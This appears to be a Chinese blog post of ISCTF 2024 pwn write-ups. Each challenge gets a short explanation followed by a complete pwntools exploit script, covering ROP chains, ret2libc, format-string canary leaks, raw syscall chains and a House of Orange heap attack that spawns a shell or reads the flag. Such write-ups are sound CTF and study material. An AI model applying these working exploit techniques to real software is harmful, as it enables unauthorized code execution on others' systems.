# ISCTF 2024
好久没更新 blog 了,随便更新一篇近期的比赛吧。
# Netcat
# girlfriend
s1 要匹配 admin,通过 read 读入 buf,将 s1 处覆盖成 admin
在 vuln 函数有数组越界改写漏洞,通过越界改写 i,从而 sacnf 可以改写返回
exp 如下
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
# context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
# libc = './' | |
host, port = "27.25.151.12:34617".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
# libc = ELF(libc) | |
# elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
id = 'admin\x00\x00\x00'*(0x30//8) | |
ru('team id\n') | |
se(id) | |
# debug() | |
# for i in range(5): | |
ru('birthday\n') | |
sl(str(0x11111111)+str(0x11111111)+str(0x11111111)) | |
ru('birthday\n') | |
sl(str(0x11111111)+str(0x11111111)+str(0x11111111)) | |
ru('birthday\n') | |
sl(str(0x11111111)+str(0x11111111)+str(0x11111111)) | |
ru('birthday\n') | |
sl(str(0x11111111)+str(0x11111111)+str(0x11111111)) | |
ru('birthday\n') | |
sl(str(0x11111111)+str(0x11111111)+str(0x11111111)) | |
ru('birthday\n') | |
# debug('b* 0x4012cd') | |
sl(str(1)) | |
sl(str(2)) | |
sl(str(2)) | |
sl(str(6)) | |
sl(str(6)) | |
sl(str(0x40121E)) | |
it() |
# ez_game
种子为 1,伪随机,同时给了 gets 无限溢出漏洞,可以将种子覆盖掉,alarm 有限制时间,但是在交互时候 alarm 在输入很快并没有什么影响。所以 exp 传 20000 次伪随机数即可
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './ez_game' | |
libc = '/lib/x86_64-linux-gnu/libc.so.6' | |
host, port = "27.25.151.12:25484".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
libc = cdll.LoadLibrary(libc) | |
# libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
pl = p64(0)*(0x1a0//8-0x10) + padding(14*8) + p64(0x4E20) + p32(0x4E20) + p32(0) + p64(0x4012FC)*2 | |
# debug() | |
sl(pl) | |
ru('you want to guess: ') | |
libc.srand(0x4E20) | |
for i in range(20001): | |
v7 = libc.rand() % 7 + 1 | |
print(v7) | |
sl(str(v7)) | |
it() |
# ret2orw
先泄露 libc,之后就是比较普通的 orw,直接放脚本了
'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './ret2orw'
libc = './libc.so.6'
host, port = "27.25.151.12:36337".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
'\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
r = remote(host, int(port))
else:
r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子
default = 1
se = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rc = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
lic = lambda data : uu64(ru(data)[-6:])
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
pg = elf.got['puts']
pp = elf.plt['puts']
rdi = 0x4012CE
ra = 0x4012F2
pl = padding(0x20) + p64(0) + p64(rdi) + p64(pg) + p64(pp) + p64(ra)
sla("oh,what's this?\n",pl)
puts_addr = u64(rc(6).ljust(8,b'\x00'))
lg('puts_addr')
libc.address = puts_addr - libc.sym['puts']
libc_address = libc.address
lg('libc_address')
open_addr = libc.sym['open']
sendfile = libc.sym['sendfile']
write_addr = libc.sym['write']
rsi = 0x000000000016333a + libc_address
rdx = 0x00000000000904a9 + libc_address
pl = padding(0x20) + p64(0)
pl += p64(rsi) + p64(elf.bss()+0x200) + p64(elf.plt['read'])
pl += p64(rdi) + p64(elf.bss()+0x200) + p64(rsi) + p64(0) + p64(open_addr)
pl += p64(rdi) + p64(3) + p64(rsi) + p64(elf.bss()+0x400) + p64(rdx) + p64(0x50) + p64(0) + p64(libc.sym['read'])
pl += p64(rdi) + p64(1) + p64(rsi) + p64(elf.bss()+0x400) + p64(rdx) + p64(0x50) + p64(0) +p64(write_addr)
# debug()
sa("oh,what's this?\n",pl.ljust(0x100,b'\0'))
se('./flag\x00\x00')
it()
# 小蓝鲨 stack
程序代码比较简单
先通过 1 字节溢出地址,返回到 libc_call_main 处,使用 printf 泄露 libc 以及再次返回到 main。
然后打 ret2libc 即可
'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './ezstack'
libc = './libc-2.31.so'
host, port = "27.25.151.12:24744".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
'\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
r = remote(host, int(port))
else:
r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子
default = 1
se = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rc = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
lic = lambda data : uu64(ru(data)[-6:])
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
pl = padding(0x20) + padding(8) + b'\x10'
# debug()
se(pl)
ru('YhuanYhuanYhuanYhuanYhuanYhuanYYYhuanYYY')
libcbase = u64(rc(6).ljust(8,b'\x00'))-0x024010
lg('libcbase')
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh'))
rdi = 0x0000000000023b6a + libcbase
lg('system')
# pause()
# sl('')
pl = padding(0x20) + padding(8) + p64(rdi+1) + p64(rdi) + p64(binsh) + p64(system)
se(pl)
it()
# 0verf10w
scanf 有长溢出漏洞,printf 格式字符串泄露 canary,vuln 有 off by one 漏洞,在 stack 中,有留下 libc_call_main 的片段。
这个片段刚好,1/16 的 off by one 将栈迁移到即可
'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc.so.6'
host, port = "27.25.151.12:32559".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
'\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
r = remote(host, int(port))
else:
r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子
default = 1
se = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rc = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
lic = lambda data : uu64(ru(data)[-6:])
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
sl(b'ab'*0x4+b"%31$p"+b'a'*0x4+b'%29$p'+b'\x00'*7)
ru("Great, I've decided to give you a gift!\n")
# debug()
# 0x7ffff7c29e40
se(b'%9$p'*3)
ru("abababab0x")
libcbase = int(rc(len('7ffff7c29e40')),16) - 128 - libc.sym['__libc_start_main']
ru('0x')
canary = int(rc(16),16)
lg('libcbase')
lg('canary')
# pause()
ru('again?????\n')
pl = p64(0)*3 + p64(canary) + b'\xf0'
# debug()
sl(pl)
system = libc.sym['system'] + libcbase
binsh = next(libc.search(b'/bin/sh')) + libcbase
rdi = libcbase + 0x000000000002a3e5
lg('system')
# pause()
pl = padding(0x14-8) + p64(canary) + p64(0) + p64(rdi+1) + p64(rdi) + p64(binsh) + p64(system)
sla('name before that?\n',pl)
sla('gift!\n','1234')
sla('again?????\n','1234')
it()
# syscall
程序代码很明显,自己设置寄存器。但是需要找一个位置去写入 binsh 字符串,找一个返回可写内存地址的系统调用即可 brk rax=12,在 init 里也有这个 malloc 提示,但是我构造 read 的读入的地方应该为远程的 bss 段,后来发现只加 0x200 放到 heap 也可以。
'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './vuln'
libc = './libc.so.6'
host, port = "27.25.151.12:37390".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
'\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
r = remote(host, int(port))
else:
r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
# libc = ELF(libc)
# elf = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子
default = 1
se = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rc = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
lic = lambda data : uu64(ru(data)[-6:])
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
def set_reg(rax,rdi,rsi,rdx):
sla('RAX : ',str(rax))
sla('RDI : ',str(rdi))
sla('RSI : ',str(rsi))
sla('RDX : ',str(rdx))
set_reg(12,0,0,0)
ru('0x')
# debug()
addr = int(rc(12),16) - 0x10000 # bss
lg('addr')
# pause()
set_reg(0,0,hex(addr),0x8)
# pause()
se('/bin/sh\x00')
# pause()
set_reg(59,addr,0,0)
it()
# orange
先进行逆向一下
add 没有限制 malloc 的大小,14 次 add 机会
show printf 的 show
edit size 重新设置,所以可以进行堆溢出漏洞
这题通过题目描述,是 orange 打法,通过覆盖 top_chunk 的 size,放入 unsortbin 中,在申请泄露出 libc 和 heapbase,在打 apple 链即可,需要注意的是要堆风水的布置,不要有回车字符出现’\n’ TUT
'''
huan_attack_pwn
'''
import sys
from pwn import *
from pwncli import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc-2.27.so'
ld = './ld-2.27.so'
host, port = "27.25.151.12:23160".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
'\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
r = remote(host, int(port))
else:
r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
ld = ELF(ld)
# srand = libc.srand(libc.time(0)) #设置种子
default = 1
se = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rc = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
lic = lambda data : uu64(ru(data)[-6:])
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
def menu(inputs):
sla('Enter \n',str(inputs))
def exit_():
menu(0)
def add(size):
menu(1)
sla('size\n',str(size))
def fake_free(idx):
menu(2)
sla('index\n',str(idx))
def show(idx):
menu(3)
sla('index',str(idx))
def edit(idx,size,ct):
menu(4)
sla('index\n',str(idx))
sla('input size\n',str(size))
sla('input\n',ct)
payload=b'a'*(0x10) + p64(0) + p64(0xd91)
add(0x10)# 0
edit(0,len(payload),payload)
add(0xf00)# 1
# debug()
add(0x400)# 2
show(2)
ru('index 2: ')
libcbase = u64(rc(6).ljust(8,b'\x00')) - 0x3ec1f0 - 0xb0
lg('libcbase')
libc.address = libcbase
pad = b'a'* 0x10
edit(2,len(pad),pad)
show(2)
ru(pad)
heapbase = u64(rc(6).ljust(8,b'\x00')) - 0x270
lg('heapbase')
target_addr = libc.symbols['_IO_list_all']
sys_addr = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
_lock = libcbase + 0x3ec708
fake_IO_FILE = libcbase
_IO_wfile_jumps = libcbase + 0x3e7d60
fake_wfile = heapbase + 0x0228a0 + 0x100
lg('fake_wfile')
# pause()
# ogg = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
fake_file = flat({
0:{
0:0x320,
0x68:next(libc.search(b'/bin/sh')),
0xa0:fake_wfile,
0xa8:libc.symbols['system'],
0xd8:_IO_wfile_jumps
},
0x100:{
0x18:0,
0x30:0,
0x70:0,
0x88:0,
0x130:fake_wfile + 0x200
},
0x300:{
0x68:libc.address + 0x520C7
}
})
add(0x980)
pl = b'a'*0x980 + p64(0) + p64(0x761)
edit(3,len(pl),pl)
add(0x1000)
pl = b'a'*0x980 + p64(0) + p64(0x971)
edit(3,len(pl),pl)
pl = b'a'*0x400+p64(0)+p64(0x961)+p64(libcbase+0x3ec1e0)+p64(target_addr-0x10)+p64(heapbase+0x680)+p64(target_addr-0x20)
edit(2, len(pl), pl)
add(0xa00)
edit(3, 0x2000, b'b'*0x980 + fake_file)
pause()
sla('Enter \n',str(0))
it()